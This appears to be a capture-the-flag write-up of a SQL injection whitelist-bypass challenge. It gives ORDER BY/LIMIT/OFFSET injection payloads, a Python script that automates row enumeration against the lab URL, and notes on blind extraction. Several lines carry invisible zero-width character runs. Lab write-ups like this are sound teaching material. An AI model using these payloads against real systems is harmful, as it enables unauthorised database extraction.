← Back to Writeups
CUSTOMMediumWeb

Dead or alive 8

XESXOR9/10/20262 min read
#web#custom#medium#blind_sqli#limit_offset_extraction#order_by_enumeration

Dead or alive 8

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_sqli, limit_offset_extraction, order_by_enumeration

Summary

Walkthrough of the CUSTOM Web Dead or alive 8. SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

Description

SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

URL: http://kslweb1.spb.ctf.su/sqli/bypass8/

Analysis

Eighth task in the SQL injection bypass series. Unlike previous tasks with blacklist filters, this one uses a whitelist — only specific constructs are allowed.

Key observations:

  • SELECT, UNION and other standard keywords are blocked
  • ORDER BY is allowed (used for sorting results)
  • LIMIT and OFFSET are allowed
  • Numbers are allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This allows using the row enumeration technique via ORDER BY + LIMIT + OFFSET.

Solution

ORDER BY + LIMIT OFFSET enumeration principle

When UNION/SELECT are blocked but ORDER BY and LIMIT are available, you can:

  1. Use ORDER BY to sort by the desired column
  2. Use LIMIT 1 OFFSET N to get the N-th row
  3. Iterate OFFSET from 0 to the number of rows

Basic payload

' ORDER BY 1 LIMIT 1 OFFSET 0--
' ORDER BY 1 LIMIT 1 OFFSET 1--
' ORDER BY 1 LIMIT 1 OFFSET 2--
...

Automation

python
#!/usr/bin/env python3
import requests
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

url = "http://kslweb1.spb.ctf.su/sqli/bypass8/"

for offset in range(100):
    payload = f"' ORDER BY 1 LIMIT 1 OFFSET {offset}--"
    r = requests.get(url, params={"id": payload})
    
    if "spbctf" in r.text:
        print(f"[+] Found at offset {offset}")
        print(r.text)
        break
    
    # Check if there's data
    if "No results" in r.text or len(r.text) < 100:
        print(f"[-] No more data at offset {offset}")
        break
    
    print(f"[{offset}] {r.text[:100]}...")

Alternative techniques

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

If character-by-character extraction is needed (blind):

  • Use ORDER BY with a condition for binary search
  • Combine with CASE WHEN if allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering blind_sqli, limit_offset_extraction, order_by_enumeration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 8 • Difficulty: Medium